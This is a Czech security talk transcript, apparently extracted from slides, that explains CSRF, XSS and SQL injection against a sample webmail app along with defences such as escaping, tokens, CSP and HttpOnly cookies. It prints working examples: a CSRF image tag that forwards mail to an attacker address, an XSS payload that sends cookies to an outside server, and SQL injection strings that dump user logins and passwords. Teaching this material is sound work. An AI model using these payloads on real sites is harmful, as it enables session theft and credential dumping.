Vlastimil Pe čínka, Seznam.cz Roman Kümmel,...

Post on 22-Nov-2020

0 views 0 download

transcript

Zranitelnosti webových aplikací

Vlastimil Pečínka, Seznam.czRoman Kümmel, Soom.cz

Terminologie

• Zranitelnost (vulnerability)– Slabina, která umožní utočníkovi snížit/obejít

ochranu dat a informací– Security bug je užší vnímání zranitelnosti; existují

non-SW zranitelnosti (HW, zaměstnanci, …)non-SW zranitelnosti (HW, zaměstnanci, …)

• Exploit– V informatice program nebo sekvence příkazů, které

využívají zranitelnosti a umožňují tak získat nějaký prospěch

Webové zranitelnosti

XSSCross-site scripting

Využití d ůvěry uživatele v server

CSRFCross-site request forgery

Využití d ůvěry serveru v software uživatele

Webové zranitelnosti

HTTP header injection

Využití vlastností HTTP protokolu v kombinaci s neošet řeným p ředávaným vstupem od uživatele v vstupem od uživatele v hlavi čkách

SQL injectionVyužití mezery v zabezpe čení na

úrovni databázové vrstvy aplikace

CSRF

Svět webových zranitelností

Prom ěnnáCSS Flash

SQLiRFI LFI

CRLF

FPD

CSRF

Persistent

XSS

Non-Persistent

DOM based

SQL injection

HTTP injection

Same originpolicy

NOSCRIPT

Contentsecuritypolicy

HTTP only cookies

IE XSS filter

Praktická ukázka

Roman KümmelRoman Kümmelhttp://www.soom.cz

Praktická ukázka

Zranitelná webová aplikace

Cross Site Request Forgery (CSRF)

• Každá změna v datech uložených na serveru je jen reakcí na požadavek vyslaný browserem

• Každý uživatel je na serveru identifikován• Každý uživatel může provádět změny pouze ve • Každý uživatel může provádět změny pouze ve

svém vlastním účtu

http://webmail.cz/remail.php?mail=user@seznam.cz

Cross Site Request Forgery (CSRF)

• Nikdo střízlivý nedá vědomě serveru povel na přesměrování pošty na účet útočníka

• Cílem útočníka je přimět uživatele k jeho odeslání

http://webmail.cz/remail.php?mail=atacker@hack.cz

Nazdar Pepo,nechceš zítra zajít na pivo?

Lojza

Útok (CSRF)

Lojza

<img src=“http://webmail.cz/remail.php?mail=atacker@hack.cz “>

http://webmail.cz/remail.php?mail=atacker@hack.cz

Útok (CSRF)

X

Obrana (CSRF)

• Každá změna v datech uložených na serveru je jen reakcí na požadavek vyslaný browserem

• Každý uživatel je na serveru identifikován• Každý uživatel může provádět změny pouze ve • Každý uživatel může provádět změny pouze ve

svém vlastním účtu

remail.php?mail=user@seznam.cz&hash=a5dd78e

hash=a5dd78e

CSRF : XSS

• Zjištění hodnoty lístku pomocí XSS

Cross Site Scripting (XSS)

• Skripty mohou přistupovat pouze k objektům ze stejné domény ( Same Origin Policy )

• Pokud existuje chyba v zabezpečení, je možné injektovat skript do html dokumentu z dané domény

– Perzistentní (trvalé)– Non-perzistentní (reflektované)

Non-perzistetní XSS

• Odeslání požadavku webovým vyhledávačem

http://webmail.cz/search.php?query=slunce

• Odpověď vrácená prohlížečem

Na váš dotaz slunce nebyl nalezen žádný výsledek

Non-perzistetní XSS

• Odeslání požadavku webovým vyhledávačem

http://webmail.cz/search.php?query=<script>alert(1)</script>

• Zobrazení odpovědi vede ke spuštění skriptu

Na váš dotaz <script>alert(1)</script> nebyl nazezen žádný výsledek

Možné cíle útoku (XSS)

• Krádež cookies• Přesměrování uživatelů na jiné webové stránky• Defacement webové stránky• Automatické odesílání CSRF požadavků• Automatické odesílání CSRF požadavků• Změna atributu action u přihlašovacích formulářů• Odposlouchávání stisknutých kláves• Průzkum vnitřní sítě• Backdoor s obousměrnou komunikací• Mnoho dalších variant útoku

Nazdar Pepo,nechceš zítra zajít na pivo?

Lojza

<a href=‘http://webmail.cz/search.php?query=%3Cscript%3Ei%3D

Cookie stealing (XSS)

<a href=‘http://webmail.cz/search.php?query=%3Cscript%3Ei%3Ddocument.createElement%28%22img%22%29%3B+i.src%3D%22http%3A%2F%2Fmyserver.cz%3Fsavecook%3D%22%252Bdocument.cookie%3B%3C%2Fscript%3E‘>Super odkaz </a>

<script>i=document.createElement("img");i.src=http://myserver.cz?savecook=+document.cookie;

</script>

Cookie stealing (XSS)

Obrana (XSS)

• Nahrazení nebezpečných znaků HTML entitami

< &lg; > &gt; “ &quot; ‘ &#39; & &amp;

• Nebezpečnost znaků záleží na kontextu v jakém jsou použity- <p>Toto je tvůj vstup: <script>alert(1)</script></p>- <input type=“text“ value=““ onfocus=“alert(1)“>

• Pozor na Javascript: a Data: URL v odkazech- <a href=“javascript:alert(1)“>odkaz</a>

Obrana (XSS)

• Uživatelský vstup kontrolovat podle bílých seznamů

Co není povoleno, je zakázáno !

SQL injection

Zmanipulování dotazu do databáze

SELECT jablka FROM stromSELECT jablka FROM strom

SELECT hrušky FROM obchod

SQL injection

pepa

pass123

$sql = "SELECT * FROM users WHERE (login = '$login') and (heslo = '$heslo')";$res = mysql_query($sql);

SELECT * FROM users WHERE (login = 'pepa ') and (heslo = 'pass123 ')

PH

PS

QL

pepa

Útok SQL injection

pepa

' OR '1' = '1

pepa

$sql = "SELECT * FROM users WHERE (login = '$login') and (heslo = '$heslo')";$res = mysql_query($sql);

SELECT * FROM users WHERE (login = 'pepa ') and (heslo = '' OR '1' = '1 ')

PH

PS

QL

SQL injectionP

HP $sql = "SELECT * FROM messages WHERE idprijemce = $iduser ";

$res = mysql_query($sql);

SELECT * FROM messages WHERE idprijemce = 11614

PH

PS

QL

Útok SQL injectionP

HP $sql = "SELECT * FROM messages WHERE idprijemce = $iduser ";

$res = mysql_query($sql);

SELECT * FROM messages WHERE idprijemce = -1 or 1=1

PH

PS

QL

• Zjištění počtu sloupců tabulky v původním dotazu

• Zjištění zobrazených polí

• Zjištění názvu databáze

Útok SQL injection

iduser=-1 union all select 1,2,3,4—

• Zjištění názvů tabulek a sloupců

• Výpis obsahu tabulky USERSiduser=-1 union all select 1,nick,login,heslo from users--

iduser=-1 union all select 1,2,3,database()—

iduser=-1 union all select 1,2,table_name,column_namefrom information_schema.columnswhere table_schema=database()—

SELECT *FROM messagesWHERE idprijemce = -1 order by 1 --

Obrana proti SQL injection

• Kontrola vstupu– Odstranění, zdvojení nebo escapování apostrofů– Číselné hodnoty ošetřit typovou konverzí– Výčtové vstupy kontrolovat na očekávané hodnoty– Výčtové vstupy kontrolovat na očekávané hodnoty– Využití parametrizovaných SQL dotazů– Využití uložených procedur

Injektáž skriptu na server

• Nezabezpečený upload

• Local File Inclusion (LFI)• Local File Inclusion (LFI)

• Remote File Inclusion (RFI)

(ne) bezpečný Internet

Pomocníci v zabezpe čení

• Content Security Policy• Same origin policy• XSS filter v IE• HTTPonly cookies• HTTPonly cookies

Content security policy

• Pravidla zaměřená na potlačení především XSS• CSP umožňuje poskytovatelům definovat

pravidla, kterými se prohlížeč řídí• Pravidla se pro dokument v HTTP hlavičkách• Pravidla se pro dokument v HTTP hlavičkách• Možnost reportingu při porušení pravidel

– Browser „bonzuje“ pomocí JSON, co se stalo– Report-only mode (what-if scénáře)

X-Content-Security-Policy: allow 'self'; img-src *; \object-src media1.com media2.com *.cdn.com; \script-src trustedscripts.example.com

Same origin policy

• Koncept známý od doby Netscape Navigator 2.0• Pravidla povolují plný přístupu skriptů k funkcím

a proměnným ve stránkách ze stejných zdrojů (a naopak limitují přístup k datům jiných zdrojů)– Jiný hostname (i www.seznam.cz vs seznam.cz)– Jiný port (http://lide.cz vs http://lide.cz:81)– Jiný protokol (https://email.cz vs https://email.cz)

• Nejasně definované pro file:, data:, …• Jiné policy např. pro skripty z jiných domén

IE XSS filter

• Vlastnost IE8, která ztěžuje tzv. reflected XSS• Filtr je komponenta, která je zapojena do všech

požadavků, které tečou skrze prohlížeč– Snaží se detekovat XSS a případně neutralizovat– Snaží se detekovat XSS a případně neutralizovat

HTTPonly cookie

• Stále ve stádiu „draftu“ IETF, nicméně široce podporované v prohlížečích

• Cookie, které není přístupná skriptům na stránce, jen použita pro HTTP/HTTPS session

• Často použita v kombinaci s omezením přenášení po zabezpečeném spojení

Set-Cookie: SSID=Adsd4ddssTq; Domain=.seznam.cz; Pa th=/; Expires=Wed, 13-Jan-2021 22:23:01 GMT; Secure; HttpOnly

Děkujeme za pozornost

Vlastimil PečínkaVlastimil.Pecinka@firma.seznam.czVlastimil.Pecinka@firma.seznam.cz

Roman Kümmelccuminn@soom.cz